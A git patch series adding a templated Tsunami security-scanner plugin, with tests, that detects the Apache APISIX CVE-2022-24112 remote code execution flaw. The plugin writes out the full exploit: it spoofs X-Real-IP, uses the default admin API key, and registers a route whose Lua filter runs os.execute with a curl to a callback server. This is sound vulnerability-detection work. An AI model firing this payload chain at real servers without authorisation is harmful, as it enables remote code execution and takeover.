.setTargetInfo(targetInfo) - .setNetworkService(service) - .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability(detector.getAdvisories().get(0)) - .build(); - } -} diff --git a/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112.textproto b/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112.textproto new file mode 100644 index 000000000..049d8016a --- /dev/null +++ b/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112.textproto @@ -0,0 +1,127 @@ +# proto-file: proto/templated_plugin.proto +# proto-message: TemplatedPlugin + +############### +# PLUGIN INFO # +############### + +info: { + type: VULN_DETECTION + name: "ApacheAPISIX_CVE_2022_24112" + author: + "Robert Dick (robert@doyensec.com) for the Templated version, " + "yuradoc (yuradoc.research@gmail.com) for the original Java version" + version: "2.0" +} + +finding: { + main_id: { + publisher: "GOOGLE" + value: "CVE-2022-24112" + } + title: "Apache APISIX RCE (CVE-2022-24112)" + description: + "Some Apache APISIX 2.x versions allows attacker to" + " bypass IP restrictions of Admin API through the batch-requests plugin." + " A default configuration of Apache APISIX (with default API key) is" + " vulnerable to remote code execution through the plugin." + recommendation: + "Update Apache APISIX to a newer version and change the default API key." + severity: CRITICAL + related_id: { + publisher: "CVE" + value: "CVE-2022-24112" + } +} + +########### +# ACTIONS # +########### + +actions: { + name: "register_route" + http_request: { + method: POST + uri: "/apisix/batch-requests" + data: + '{' + ' "headers": {' + ' "X-Real-IP": "{{ X_REAL_IP }}",' + ' "X-API-KEY": "{{ DEFAULT_API_KEY }}",' + ' "Content-Type": "application/json"' + ' },' + ' "timeout": 1500,' + ' "pipeline": [' + ' {' + ' "path": "/apisix/admin/routes/tsunami_rce?ttl=30",' + ' "method": "PUT",' + ' "body": "{\\"uri\\":\\"/tsunami_rce/{{ T_UTL_CURRENT_TIMESTAMP_MS }}\\",\\"upstream\\":{\\"type\\":\\"roundrobin\\",\\"nodes\\":{}},\\"name\\":\\"{{ T_UTL_CURRENT_TIMESTAMP_MS }}\\",\\"filter_func\\":\\"{{ PIPE_REQ_FILTER_FUNC }}\\"}"' + ' }' + ' ]' + '}' + response: { + http_status: 200 + expect_any: { + conditions: { body {} contains: '"status":200' }, + conditions: { body {} contains: '"status":201' } + } + } + } + cleanup_actions: "cleanup_route" +} + +actions: { + name: "execute_route" + http_request: { + method: GET + uri: "/tsunami_rce/{{ T_UTL_CURRENT_TIMESTAMP_MS }}" + headers: [ + { name: "X-API-KEY" value: "{{ DEFAULT_API_KEY }}" } + ] + } +} + +actions: { + name: "cleanup_route" + http_request: { + method: DELETE + uri: "/apisix/admin/routes/tsunami_rce" + response: { + http_status: 200 + } + headers: [ + { name: "X-API-KEY" value: "{{ DEFAULT_API_KEY }}" } + ] + } +} + +actions: { + name: "sleep" + utility: { sleep: { duration_ms: 1000 } } +} +actions: { + name: "check_callback_server_logs" + callback_server: { action_type: CHECK } +} + +############# +# WORKFLOWS # +############# + +workflows: { + variables: [ + { name: "X_REAL_IP" value: "127.0.0.1" }, + { name: "DEFAULT_API_KEY" value: "edd1c9f034335f136f87ad84b625c8f1" }, + { name: "PAYLOAD" value: "curl {{ T_CBS_URI }}" }, + { name: "PIPE_REQ_FILTER_FUNC" value: "function(vars) os.execute('{{ PAYLOAD }}'); return true end" } + ] + actions: [ + "register_route", + "sleep", + "execute_route", + "sleep", + "check_callback_server_logs" + ] +} + +config: { debug: True } \ No newline at end of file diff --git a/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112_test.textproto b/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112_test.textproto new file mode 100644 index 000000000..1cc4bdc9f --- /dev/null +++ b/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112_test.textproto @@ -0,0 +1,72 @@ +# proto-file: proto/templated_plugin_tests.proto +# proto-message: TemplatedPluginTests + +config: { + tested_plugin: "ApacheAPISIX_CVE_2022_24112" +} + +tests: { + name: "whenCallback_returnsVuln" + expect_vulnerability: true + + mock_callback_server: { + enabled: true + has_interaction: true + } + + mock_http_server: { + mock_responses: [ + { + uri: "/apisix/batch-requests" + status: 200 + body_content: '{"status":201}' + }, + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: '{"status":200}' + } + ] + } +} + +tests: { + name: "whenNoCallback_returnsNotVuln" + expect_vulnerability: false + + mock_callback_server: { + enabled: true + has_interaction: false + } + + mock_http_server: { + mock_responses: [ + { + uri: "/apisix/batch-requests" + status: 200 + body_content: '{"status":201}' + }, + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: '{"status":200}' + } + ] + } +} + + +tests: { + name: "whenRandomServer_returnsNoVuln" + expect_vulnerability: false + + mock_http_server: { + mock_responses: [ + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: "... Hello world ..." + } + ] + } +} From 5c7b0486325eee0bd36a514ffc71315958714032 Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Wed, 6 May 2026 06:46:56 -0400 Subject: [PATCH 2/9] fixed linter error and added condition --- .../plugins/cve/2022/ApacheAPISIX_CVE_2022_24112.textproto | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112.textproto b/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112.textproto index 049d8016a..91a6975cd 100644 --- a/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112.textproto +++ b/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112.textproto @@ -109,6 +109,7 @@ actions: { ############# workflows: { + condition: REQUIRES_CALLBACK_SERVER variables: [ { name: "X_REAL_IP" value: "127.0.0.1" }, { name: "DEFAULT_API_KEY" value: "edd1c9f034335f136f87ad84b625c8f1" }, @@ -122,6 +123,4 @@ workflows: { "sleep", "check_callback_server_logs" ] -} - -config: { debug: True } \ No newline at end of file +} \ No newline at end of file From 4c91af5e7386f3eb4c045dbe88f888f3038b341b Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Wed, 6 May 2026 07:20:53 -0400 Subject: [PATCH 3/9] fixed plugin requests to work when admin is restricted to localhost --- .../ApacheAPISIX_CVE_2022_24112.textproto | 47 +++++++++++-------- 1 file changed, 28 insertions(+), 19 deletions(-) diff --git a/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112.textproto b/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112.textproto index 91a6975cd..7a46d9624 100644 --- a/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112.textproto +++ b/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112.textproto @@ -39,7 +39,7 @@ finding: { ########### actions: { - name: "register_route" + name: "register_and_execute_route" http_request: { method: POST uri: "/apisix/batch-requests" @@ -56,6 +56,10 @@ actions: { ' "path": "/apisix/admin/routes/tsunami_rce?ttl=30",' ' "method": "PUT",' ' "body": "{\\"uri\\":\\"/tsunami_rce/{{ T_UTL_CURRENT_TIMESTAMP_MS }}\\",\\"upstream\\":{\\"type\\":\\"roundrobin\\",\\"nodes\\":{}},\\"name\\":\\"{{ T_UTL_CURRENT_TIMESTAMP_MS }}\\",\\"filter_func\\":\\"{{ PIPE_REQ_FILTER_FUNC }}\\"}"' + ' },' + ' {' + ' "path": "/apisix/admin/routes/tsunami_rce?ttl=30",' + ' "method": "GET"' ' }' ' ]' '}' @@ -70,28 +74,35 @@ actions: { cleanup_actions: "cleanup_route" } -actions: { - name: "execute_route" - http_request: { - method: GET - uri: "/tsunami_rce/{{ T_UTL_CURRENT_TIMESTAMP_MS }}" - headers: [ - { name: "X-API-KEY" value: "{{ DEFAULT_API_KEY }}" } - ] - } -} +# the cleanup action also exploits the batch requests endpoint actions: { name: "cleanup_route" http_request: { - method: DELETE - uri: "/apisix/admin/routes/tsunami_rce" + method: POST + uri: "/apisix/batch-requests" + data: + '{' + ' "headers": {' + ' "X-Real-IP": "{{ X_REAL_IP }}",' + ' "X-API-KEY": "{{ DEFAULT_API_KEY }}",' + ' "Content-Type": "application/json"' + ' },' + ' "timeout": 1500,' + ' "pipeline": [' + ' {' + ' "path": "/apisix/admin/routes/tsunami_rce",' + ' "method": "DELETE"' + ' }' + ' ]' + '}' response: { http_status: 200 + expect_any: { + conditions: { body {} contains: '"status":200' }, + conditions: { body {} contains: '"status":201' } + } } - headers: [ - { name: "X-API-KEY" value: "{{ DEFAULT_API_KEY }}" } - ] } } @@ -117,9 +128,7 @@ workflows: { { name: "PIPE_REQ_FILTER_FUNC" value: "function(vars) os.execute('{{ PAYLOAD }}'); return true end" } ] actions: [ - "register_route", - "sleep", - "execute_route", + "register_and_execute_route", "sleep", "check_callback_server_logs" ] From 293086d9eef94456d303021b2f5e7bfcb2978e73 Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Wed, 6 May 2026 07:53:07 -0400 Subject: [PATCH 4/9] used correct route execute endpoint --- .../ApacheAPISIX_CVE_2022_24112.textproto | 21 +++++++++++++------ 1 file changed, 15 insertions(+), 6 deletions(-) diff --git a/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112.textproto b/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112.textproto index 7a46d9624..6c2167f81 100644 --- a/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112.textproto +++ b/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112.textproto @@ -39,7 +39,7 @@ finding: { ########### actions: { - name: "register_and_execute_route" + name: "register_route" http_request: { method: POST uri: "/apisix/batch-requests" @@ -56,10 +56,6 @@ actions: { ' "path": "/apisix/admin/routes/tsunami_rce?ttl=30",' ' "method": "PUT",' ' "body": "{\\"uri\\":\\"/tsunami_rce/{{ T_UTL_CURRENT_TIMESTAMP_MS }}\\",\\"upstream\\":{\\"type\\":\\"roundrobin\\",\\"nodes\\":{}},\\"name\\":\\"{{ T_UTL_CURRENT_TIMESTAMP_MS }}\\",\\"filter_func\\":\\"{{ PIPE_REQ_FILTER_FUNC }}\\"}"' - ' },' - ' {' - ' "path": "/apisix/admin/routes/tsunami_rce?ttl=30",' - ' "method": "GET"' ' }' ' ]' '}' @@ -74,6 +70,17 @@ actions: { cleanup_actions: "cleanup_route" } +# trigger the route to execute + +actions: { + name: "execute_route" + http_request: { + method: GET + uri: "/tsunami_rce/{{ T_UTL_CURRENT_TIMESTAMP_MS }}" + } +} + + # the cleanup action also exploits the batch requests endpoint actions: { @@ -128,7 +135,9 @@ workflows: { { name: "PIPE_REQ_FILTER_FUNC" value: "function(vars) os.execute('{{ PAYLOAD }}'); return true end" } ] actions: [ - "register_and_execute_route", + "register_route", + "sleep", + "execute_route", "sleep", "check_callback_server_logs" ] From 171fc39241bb0835294cc70284495b2bf91b2fec Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Fri, 5 Jun 2026 11:00:10 -0400 Subject: [PATCH 5/9] added non-callback workflow, not working yet --- .../ApacheAPISIX_CVE_2022_24112.textproto | 181 +++++++++++++++++- ...ApacheAPISIX_CVE_2022_24112_test.textproto | 53 +++++ 2 files changed, 233 insertions(+), 1 deletion(-) diff --git a/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112.textproto b/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112.textproto index 6c2167f81..b8f01b857 100644 --- a/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112.textproto +++ b/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112.textproto @@ -122,6 +122,165 @@ actions: { callback_server: { action_type: CHECK } } +# Non-callback actions below this. +# They work by comparing response codes for a route that returns true or false. + +actions: { + name: "register_route_1" + http_request: { + method: POST + uri: "/apisix/batch-requests" + data: + '{' + ' "headers": {' + ' "X-Real-IP": "{{ X_REAL_IP }}",' + ' "X-API-KEY": "{{ DEFAULT_API_KEY }}",' + ' "Content-Type": "application/json"' + ' },' + ' "timeout": 1500,' + ' "pipeline": [' + ' {' + ' "path": "/apisix/admin/routes/tsunami_rce_1?ttl=30",' + ' "method": "PUT",' + ' "body": "{\\"uri\\":\\"/tsunami_rce/{{ T_UTL_CURRENT_TIMESTAMP_MS }}_1\\",\\"upstream\\":{\\"type\\":\\"roundrobin\\",\\"nodes\\":{}},\\"name\\":\\"{{ T_UTL_CURRENT_TIMESTAMP_MS }}\\",\\"filter_func\\":\\"{{ PIPE_REQ_FILTER_FUNC_1 }}\\"}"' + ' }' + ' ]' + '}' + response: { + http_status: 200 + expect_any: { + conditions: { body {} contains: '"status":200' }, + conditions: { body {} contains: '"status":201' } + } + } + } + cleanup_actions: "cleanup_route_1" +} + +actions: { + name: "register_route_2" + http_request: { + method: POST + uri: "/apisix/batch-requests" + data: + '{' + ' "headers": {' + ' "X-Real-IP": "{{ X_REAL_IP }}",' + ' "X-API-KEY": "{{ DEFAULT_API_KEY }}",' + ' "Content-Type": "application/json"' + ' },' + ' "timeout": 1500,' + ' "pipeline": [' + ' {' + ' "path": "/apisix/admin/routes/tsunami_rce_2?ttl=30",' + ' "method": "PUT",' + ' "body": "{\\"uri\\":\\"/tsunami_rce/{{ T_UTL_CURRENT_TIMESTAMP_MS }}_2\\",\\"upstream\\":{\\"type\\":\\"roundrobin\\",\\"nodes\\":{}},\\"name\\":\\"{{ T_UTL_CURRENT_TIMESTAMP_MS }}\\",\\"filter_func\\":\\"{{ PIPE_REQ_FILTER_FUNC_2 }}\\"}"' + ' }' + ' ]' + '}' + response: { + http_status: 200 + expect_any: { + conditions: { body {} contains: '"status":200' }, + conditions: { body {} contains: '"status":201' } + } + } + } + cleanup_actions: "cleanup_route_2" +} + +actions: { + name: "sleep_longer" + utility: { sleep: { duration_ms: 2000 } } +} + +# check if our first route is true + +actions: { + name: "execute_route_1" + http_request: { + method: GET + uri: "/tsunami_rce/{{ T_UTL_CURRENT_TIMESTAMP_MS }}_1" + response: { + http_status: 200 + } + } +} + +# check if our second route is false + +actions: { + name: "execute_route_2" + http_request: { + method: GET + uri: "/tsunami_rce/{{ T_UTL_CURRENT_TIMESTAMP_MS }}_2" + response: { + http_status: 404 + } + } +} + +actions: { + name: "cleanup_route_1" + http_request: { + method: POST + uri: "/apisix/batch-requests" + data: + '{' + ' "headers": {' + ' "X-Real-IP": "{{ X_REAL_IP }}",' + ' "X-API-KEY": "{{ DEFAULT_API_KEY }}",' + ' "Content-Type": "application/json"' + ' },' + ' "timeout": 1500,' + ' "pipeline": [' + ' {' + ' "path": "/apisix/admin/routes/tsunami_rce_1",' + ' "method": "DELETE"' + ' }' + ' ]' + '}' + response: { + http_status: 200 + expect_any: { + conditions: { body {} contains: '"status":200' }, + conditions: { body {} contains: '"status":201' } + } + } + } +} + +actions: { + name: "cleanup_route_2" + http_request: { + method: POST + uri: "/apisix/batch-requests" + data: + '{' + ' "headers": {' + ' "X-Real-IP": "{{ X_REAL_IP }}",' + ' "X-API-KEY": "{{ DEFAULT_API_KEY }}",' + ' "Content-Type": "application/json"' + ' },' + ' "timeout": 1500,' + ' "pipeline": [' + ' {' + ' "path": "/apisix/admin/routes/tsunami_rce_2",' + ' "method": "DELETE"' + ' }' + ' ]' + '}' + response: { + http_status: 200 + expect_any: { + conditions: { body {} contains: '"status":200' }, + conditions: { body {} contains: '"status":201' } + } + } + } +} + + ############# # WORKFLOWS # ############# @@ -141,4 +300,24 @@ workflows: { "sleep", "check_callback_server_logs" ] -} \ No newline at end of file +} + +# for cases where the callback server isn't used + +workflows: { + variables: [ + { name: "X_REAL_IP" value: "127.0.0.1" }, + { name: "DEFAULT_API_KEY" value: "edd1c9f034335f136f87ad84b625c8f1" }, + { name: "PIPE_REQ_FILTER_FUNC_1" value: "function(vars) return os.execute('echo hello')==true end" }, + { name: "PIPE_REQ_FILTER_FUNC_2" value: "function(vars) return false end" } + ] + actions: [ + "register_route_1", + "register_route_2", + "sleep_longer", + "execute_route_1", + "execute_route_2" + ] +} + +config: { debug: true } \ No newline at end of file diff --git a/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112_test.textproto b/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112_test.textproto index 1cc4bdc9f..280d09266 100644 --- a/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112_test.textproto +++ b/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112_test.textproto @@ -56,6 +56,59 @@ tests: { } +# Non-callback tests below. + +tests: { + name: "whenResponsesNotDifferent_returnsNotVuln" + expect_vulnerability: false + + mock_http_server: { + mock_responses: [ + { + uri: "/apisix/batch-requests" + status: 200 + body_content: '{"status":201}' + }, + { + uri: "/tsunami_rce/{{ T_UTL_CURRENT_TIMESTAMP_MS }}_1" + status: 200 + body_content: '' + }, + { + uri: "/tsunami_rce/{{ T_UTL_CURRENT_TIMESTAMP_MS }}_2" + status: 200 + body_content: '' + } + ] + } +} + +tests: { + name: "whenResponsesDifferent_returnsVuln" + expect_vulnerability: true + + mock_http_server: { + mock_responses: [ + { + uri: "/apisix/batch-requests" + status: 200 + body_content: '{"status":201}' + }, + { + uri: "/tsunami_rce/{{ T_UTL_CURRENT_TIMESTAMP_MS }}_1" + status: 200 + body_content: '' + }, + { + uri: "/tsunami_rce/{{ T_UTL_CURRENT_TIMESTAMP_MS }}_2" + status: 404 + body_content: '' + } + ] + } +} + + tests: { name: "whenRandomServer_returnsNoVuln" expect_vulnerability: false From 581e6a9d6a22b11397090d541d0e41fd37f5c2c2 Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Wed, 10 Jun 2026 11:19:51 -0400 Subject: [PATCH 6/9] added workflow for when callback server is disabled --- .../plugins/cve/2022/ApacheAPISIX_CVE_2022_24112.textproto | 6 +++--- .../cve/2022/ApacheAPISIX_CVE_2022_24112_test.textproto | 6 +++--- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112.textproto b/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112.textproto index b8f01b857..0a7512b92 100644 --- a/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112.textproto +++ b/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112.textproto @@ -115,7 +115,7 @@ actions: { actions: { name: "sleep" - utility: { sleep: { duration_ms: 1000 } } + utility: { sleep: { duration_ms: 6000 } } } actions: { name: "check_callback_server_logs" @@ -191,7 +191,7 @@ actions: { actions: { name: "sleep_longer" - utility: { sleep: { duration_ms: 2000 } } + utility: { sleep: { duration_ms: 10000 } } } # check if our first route is true @@ -202,7 +202,7 @@ actions: { method: GET uri: "/tsunami_rce/{{ T_UTL_CURRENT_TIMESTAMP_MS }}_1" response: { - http_status: 200 + http_status: 503 } } } diff --git a/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112_test.textproto b/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112_test.textproto index 280d09266..46985182e 100644 --- a/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112_test.textproto +++ b/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112_test.textproto @@ -71,12 +71,12 @@ tests: { }, { uri: "/tsunami_rce/{{ T_UTL_CURRENT_TIMESTAMP_MS }}_1" - status: 200 + status: 503 body_content: '' }, { uri: "/tsunami_rce/{{ T_UTL_CURRENT_TIMESTAMP_MS }}_2" - status: 200 + status: 503 body_content: '' } ] @@ -96,7 +96,7 @@ tests: { }, { uri: "/tsunami_rce/{{ T_UTL_CURRENT_TIMESTAMP_MS }}_1" - status: 200 + status: 503 body_content: '' }, { From ce9b01edfbeb3c51cf4969e42178748cd3ace8da Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Thu, 11 Jun 2026 06:13:57 -0400 Subject: [PATCH 7/9] removed debug mode --- .../plugins/cve/2022/ApacheAPISIX_CVE_2022_24112.textproto | 2 -- 1 file changed, 2 deletions(-) diff --git a/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112.textproto b/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112.textproto index 0a7512b92..d74e5f8ae 100644 --- a/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112.textproto +++ b/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112.textproto @@ -319,5 +319,3 @@ workflows: { "execute_route_2" ] } - -config: { debug: true } \ No newline at end of file From 3ff40c19acb43da9c612dba1aba231fa786d7f8f Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Thu, 11 Jun 2026 06:48:41 -0400 Subject: [PATCH 8/9] added link and fixed author --- community/README.md | 1 + .../plugins/cve/2022/ApacheAPISIX_CVE_2022_24112.textproto | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/community/README.md b/community/README.md index e651c1cea..1528e9b61 100644 --- a/community/README.md +++ b/community/README.md @@ -48,6 +48,7 @@ This directory contains plugins contributed by community members. * [Uptrain Exposed API VulnDetector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/uptrain_exposed_api) * [CVE-2025-0655 D-Tale Detector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/dtale_cve_2025_0655) * [Flowise Exposed UI Detector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/flowise_exposed_ui) +* [Apache APISIX RCE (CVE-2022-24112) Detector, now updated to Templated format](https://github.com/google/tsunami-security-scanner-plugins/tree/master/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112.textproto) #### XML External Entity (XXE) Injection diff --git a/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112.textproto b/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112.textproto index d74e5f8ae..9ba3f6e3f 100644 --- a/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112.textproto +++ b/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112.textproto @@ -16,7 +16,7 @@ info: { finding: { main_id: { - publisher: "GOOGLE" + publisher: "TSUNAMI_COMMUNITY" value: "CVE-2022-24112" } title: "Apache APISIX RCE (CVE-2022-24112)" From 4cd54ed508004a825f3f8f342bacd5ffbc977b45 Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Thu, 11 Jun 2026 09:03:57 -0400 Subject: [PATCH 9/9] added fingerprint and verified results again --- .../ApacheAPISIX_CVE_2022_24112.textproto | 24 ++++++++++++++ ...ApacheAPISIX_CVE_2022_24112_test.textproto | 32 +++++++++++++++++++ 2 files changed, 56 insertions(+) diff --git a/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112.textproto b/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112.textproto index 9ba3f6e3f..18ef9e667 100644 --- a/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112.textproto +++ b/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112.textproto @@ -38,6 +38,28 @@ finding: { # ACTIONS # ########### + +# Fingerprint APISIX. +# Using multiple cases in case it gets normalized or is different in different versions. + +actions: { + name: "fingerprint_apisix" + http_request: { + method: GET + uri: "/" + response: { + expect_any: { + conditions: [ + { header: { name: "Server" } contains: "APISIX" }, + { header: { name: "Server" } contains: "ApiSix" }, + { header: { name: "Server" } contains: "apisix" }, + { header: { name: "Server" } contains: "Apisix" } + ] + } + } + } +} + actions: { name: "register_route" http_request: { @@ -294,6 +316,7 @@ workflows: { { name: "PIPE_REQ_FILTER_FUNC" value: "function(vars) os.execute('{{ PAYLOAD }}'); return true end" } ] actions: [ + "fingerprint_apisix", "register_route", "sleep", "execute_route", @@ -312,6 +335,7 @@ workflows: { { name: "PIPE_REQ_FILTER_FUNC_2" value: "function(vars) return false end" } ] actions: [ + "fingerprint_apisix", "register_route_1", "register_route_2", "sleep_longer", diff --git a/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112_test.textproto b/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112_test.textproto index 46985182e..706195e33 100644 --- a/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112_test.textproto +++ b/templated/templateddetector/plugins/cve/2022/ApacheAPISIX_CVE_2022_24112_test.textproto @@ -16,6 +16,14 @@ tests: { mock_http_server: { mock_responses: [ + { + uri: "/" + status: 200 + body_content: '' + headers: [ + { name: "Server" value: "APISIX" } + ] + }, { uri: "/apisix/batch-requests" status: 200 @@ -41,6 +49,14 @@ tests: { mock_http_server: { mock_responses: [ + { + uri: "/" + status: 200 + body_content: '' + headers: [ + { name: "Server" value: "APISIX" } + ] + }, { uri: "/apisix/batch-requests" status: 200 @@ -64,6 +80,14 @@ tests: { mock_http_server: { mock_responses: [ + { + uri: "/" + status: 200 + body_content: '' + headers: [ + { name: "Server" value: "APISIX" } + ] + }, { uri: "/apisix/batch-requests" status: 200 @@ -89,6 +113,14 @@ tests: { mock_http_server: { mock_responses: [ + { + uri: "/" + status: 200 + body_content: '' + headers: [ + { name: "Server" value: "APISIX" } + ] + }, { uri: "/apisix/batch-requests" status: 200